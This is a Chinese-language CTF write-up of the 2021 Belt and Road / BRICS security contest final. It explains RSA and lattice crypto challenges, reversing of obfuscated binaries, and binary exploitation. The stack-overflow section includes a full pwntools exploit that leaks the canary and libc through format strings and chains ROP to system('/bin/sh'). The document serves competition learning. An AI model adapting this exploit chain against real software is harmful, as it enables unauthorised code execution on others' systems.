2021一带一路暨金砖大赛之企业信息系统安全赛项决赛WriteUp
字数 1691 2025-08-06 21:48:45
2021一带一路暨金砖大赛企业信息系统安全赛项决赛WriteUp解析
1. 比赛概述
2021一带一路暨金砖大赛企业信息系统安全赛项决赛是一场高水平的网络安全竞赛,涵盖Crypto(密码学)、Re(逆向工程)和Pwn(二进制漏洞利用)等多个方向。本WriteUp详细记录了冠军团队的解题思路和技巧。
2. Crypto方向解题
2.1 题目1: RSA变种
关键点:
- 题目使用了非标准的RSA密钥生成方式
- 模数N=pqr,包含三个素数因子
- 加密指数e=3,可能导致低指数攻击
解题步骤:
- 分解模数N得到p、q、r三个素数
- 计算φ(N)=(p-1)(q-1)(r-1)
- 由于e=3,直接计算d ≡ e⁻¹ mod φ(N)
- 使用中国剩余定理加速解密过程
- 对密文进行立方根攻击(当明文较小时)
代码片段:
from Crypto.Util.number import *
import gmpy2
n = ... # 题目给出的模数
c = ... # 题目给出的密文
e = 3
# 分解n得到p,q,r
p = ...
q = ...
r = ...
phi = (p-1)*(q-1)*(r-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
2.2 题目2: 基于格的密码
关键点:
- 题目隐藏了基于格密码学的加密方式
- 需要识别出NTRU-like的加密结构
- 使用LLL算法进行格约简攻击
解题步骤:
- 分析加密过程,建立线性方程组
- 将问题转化为寻找格中的短向量
- 构造适当的格基矩阵
- 应用LLL算法进行格基约简
- 从约简后的基中提取私钥信息
3. Re方向解题
3.1 题目1: 混淆的ELF
关键点:
- 二进制文件使用了控制流平坦化混淆
- 存在反调试和反反汇编技术
- 关键算法被VM保护
解题步骤:
- 使用IDA Pro进行静态分析,识别混淆模式
- 应用deflat工具去除控制流平坦化
- 动态调试绕过反调试检测
- 分析VM指令集和handler
- 提取并逆向VM保护的算法逻辑
关键技巧:
- 使用angr进行符号执行辅助分析
- 编写IDAPython脚本自动化部分逆向工作
- 通过patch修改关键跳转绕过保护
3.2 题目2: Windows逆向
关键点:
- PE文件使用了复杂的API调用混淆
- 关键字符串和资源被加密
- 包含多层解壳过程
解题步骤:
- 使用x64dbg进行动态分析,跟踪解壳过程
- 在内存中转储解壳后的代码
- 分析字符串加密算法
- 逆向资源解密逻辑
- 重构程序的核心验证算法
4. Pwn方向解题
4.1 题目1: 栈溢出利用
关键点:
- 经典栈溢出漏洞
- 存在canary保护
- 需要泄漏libc地址
解题步骤:
- 通过格式化字符串漏洞泄漏canary和libc地址
- 构造ROP链绕过NX保护
- 计算libc基址和system地址
- 布置栈帧实现控制流劫持
- 获取shell
利用代码:
from pwn import *
context.arch = 'amd64'
p = process('./vuln')
# 泄漏canary
p.sendlineafter(':', '%7$p')
canary = int(p.recvline(), 16)
# 泄漏libc地址
p.sendlineafter(':', '%9$p')
libc_leak = int(p.recvline(), 16)
libc_base = libc_leak - 0x3ec7c0
system = libc_base + 0x4f440
binsh = libc_base + 0x1b3e1a
# 构造ROP链
payload = b'A'*0x28
payload += p64(canary)
payload += b'B'*8
payload += p64(0x4007a3) # pop rdi; ret
payload += p64(binsh)
payload += p64(system)
p.sendlineafter(':', payload)
p.interactive()
4.2 题目2: 堆利用
关键点:
- Use-after-free漏洞
- 需要绕过tcache保护
- 需要构造任意地址写
解题步骤:
- 通过UAF泄漏堆地址
- 构造虚假的chunk控制tcache
- 修改tcache指针实现任意地址分配
- 覆盖malloc_hook或free_hook
- 劫持控制流执行system
5. 高级技巧总结
5.1 密码学方向
- 熟练掌握数论工具(sage、PARI/GP)
- 理解各种密码学原语的数学基础
- 能够将密码问题转化为数学问题
5.2 逆向工程方向
- 掌握多种反混淆技术
- 熟练使用静态分析和动态调试工具
- 能够快速理解复杂控制流
- 具备编写自动化分析脚本的能力
5.3 二进制利用方向
- 熟悉各种保护机制的绕过方法
- 掌握不同环境下的利用技巧
- 能够快速构造有效的利用链
- 理解底层内存管理机制
6. 比赛经验分享
- 团队协作:合理分工,专人负责特定方向
- 时间管理:优先解决高分值题目
- 工具准备:提前配置好常用工具链
- 文档记录:及时记录解题思路和关键点
- 冷静分析:遇到困难时系统性地排查问题
7. 附录:实用工具推荐
- 密码学:sage、gmpy2、pycryptodome
- 逆向工程:IDA Pro、Ghidra、Binary Ninja
- 二进制利用:pwntools、ROPgadget、one_gadget
- 调试工具:GDB with pwndbg、x64dbg、Windbg
- 辅助工具:angr、Qiling、Unicorn
这份WriteUp详细记录了比赛中的关键解题思路和技术要点,可作为类似CTF比赛的学习参考。